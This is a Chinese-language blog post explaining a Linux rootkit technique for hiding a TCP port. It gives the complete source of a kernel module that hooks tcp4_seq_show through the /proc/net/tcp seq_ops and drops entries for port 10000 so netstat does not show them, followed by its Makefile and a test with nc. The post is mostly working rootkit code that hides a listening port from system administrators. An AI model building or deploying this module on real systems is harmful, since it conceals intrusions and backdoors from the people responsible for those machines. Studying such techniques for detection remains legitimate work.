rootkit隐藏端口

发布时间 2023-03-22 21:10:53作者: bunner

1. 基本原理

rootkit隐藏的基本步骤是:

  • hook掉某一个系统函数,用自己的函数代替
  • 自己的函数调用原函数,然后对于原函数的结果进行处理
  • 返回处理结果

2. 实现

2.1 应该hook哪一个函数呢?

可以hook的函数有很多,如果我们使用strace命令来查看cat /proc/net/tcp的话,可以看到它使用了read和write函数,那么我们可以从hook掉sys_read系统调用或者sys_write系统调用。

当然,如果我们知道无论是cat命令查看端口还是netstat查看端口,都是读取/proc/net/tcp文件的话,那么我们就可以hook该文件的钩子函数来实现隐藏端口的目的了。

根据相关资料,/proc/net/tcp文件通过tcp4_proc_init_net函数初始化,它将tcp4_seq_afinfo注册关联给了该文件,而tcp4_seq_afinfo结构的show函数是tcp4_seq_show函数,具体可以去https://elixir.bootlin.com/linux/v4.15/source中查询。
那么我们应该hook掉tcp4_seq_show函数

相关资料

https://blog.wohin.me/posts/linux-rootkit-02-04/
https://guanjunjian.github.io/2017/11/09/study-8-proc-net-tcp-analysis/

2.2 tcp4_seq_show函数简单分析

tcp4_seq_show函数代码如下,位于/net/ipv4/tcp_ipv4.c的2335行

#define TMPSZ 150
static int tcp4_seq_show(struct seq_file *seq, void *v)
{
	struct tcp_iter_state *st;
	struct sock *sk = v;

	seq_setwidth(seq, TMPSZ - 1);
	if (v == SEQ_START_TOKEN) {
		seq_puts(seq, "  sl  local_address rem_address   st tx_queue "
			   "rx_queue tr tm->when retrnsmt   uid  timeout "
			   "inode");
		goto out;
	}
	st = seq->private;

	if (sk->sk_state == TCP_TIME_WAIT)
		get_timewait4_sock(v, seq, st->num);
	else if (sk->sk_state == TCP_NEW_SYN_RECV)
		get_openreq4(v, seq, st->num);
	else
		get_tcp4_sock(v, seq, st->num);
out:
	seq_pad(seq, '\n');
	return 0;
}

从中可以简单看到它的逻辑是:

  • 首先延长seq_file中的缓存空间TMPSZ大小(可以简单理解为一条记录的大小为TMPSZ)
  • 写入相应的信息
  • 返回
    通过多次调用该函数将/proc/net/tcp下的文件信息全部写入到seq_file中

2.3 hook实现

/**
 * 本模块的目标是隐藏TCP 10000号端口
 * 主要是通过hook tcp4_seq_show函数来实现
 * /proc/net/tcp文件的操作函数的show函数
*/


#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/seq_file.h>
#include <linux/fs.h>
#include <net/tcp.h>
#include <linux/proc_fs.h>

#define NET_ENTRY "/proc/net/tcp"
#define SEQ_AFINFO_STRUCT struct tcp_seq_afinfo


#define set_afinfo_seq_op(op, path, afinfo_struct, new, old)    \
    do {    \
        struct file *filp;  \
        afinfo_struct *afinfo;  \
        filp = filp_open(path, O_RDONLY, 0);    \
        if (IS_ERR(filp)) { \
            printk("Failed to open %s with error %ld.\n",   \
                    path, PTR_ERR(filp));   \
            old = NULL; \
        } else {    \
            afinfo = PDE_DATA(filp->f_path.dentry->d_inode);    \
            old = afinfo->seq_ops.op;   \
            printk("Setting seq_op->"#op" from %p to %p.", old, new); \
            afinfo->seq_ops.op = new;   \
            filp_close(filp, 0);    \
        }   \
    } while (0)

#define NEEDLE_LEN 6
#define SECREAT_PORT 10000
// TMPSZ定义在net/ipv4/tcp_ipv4.c中,大小为150,表示每一项的大小为150
#define TMPSZ 150

int (*real_seq_show)(struct seq_file *seq, void *v);

int fake_seq_show(struct seq_file *seq, void *v) {
    printk("in fake_seq_show");
    int ret;
    char needle[NEEDLE_LEN];
    snprintf(needle, NEEDLE_LEN, ":%04X", SECREAT_PORT);
    printk("needle: %s\n", needle);
    printk("origin count: %d\n", seq->count);
    ret = real_seq_show(seq, v);
    printk("seq->buf: %s\n", seq->buf);
    printk("seq->count: %d\n", seq->count);

    if (strnstr(seq->buf + seq->count - TMPSZ, needle, TMPSZ)) {
        printk("Hiding port %d using needle %s.\n", SECREAT_PORT, needle);
        seq->count -= TMPSZ;
        printk("new seq_count: %d\n", seq->count);
    }

    return ret;
}

static int __init init_hook(void) {
    set_afinfo_seq_op(show, NET_ENTRY, SEQ_AFINFO_STRUCT, fake_seq_show, real_seq_show);
    return 0;
}

static void __exit exit_hook(void) {
    printk("goodbye hacker!!!");
    if (real_seq_show) {
        void *dummy;
        set_afinfo_seq_op(show, NET_ENTRY, SEQ_AFINFO_STRUCT, real_seq_show, dummy);
    }
}

module_init(init_hook);
module_exit(exit_hook);

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Bunner");

CONFIG_MODULE_SIG=n

obj-m += hide_port.o

all:
		make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
		make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

2.4 hook结果

首先通过nc命令监听一个端口

nc -l -p 10000

接着使用netstat命令查看端口状态

可以看到并没有显示10000端口的信息,通过dmesg查看内核日志

可以看到10000端口的记录被删除了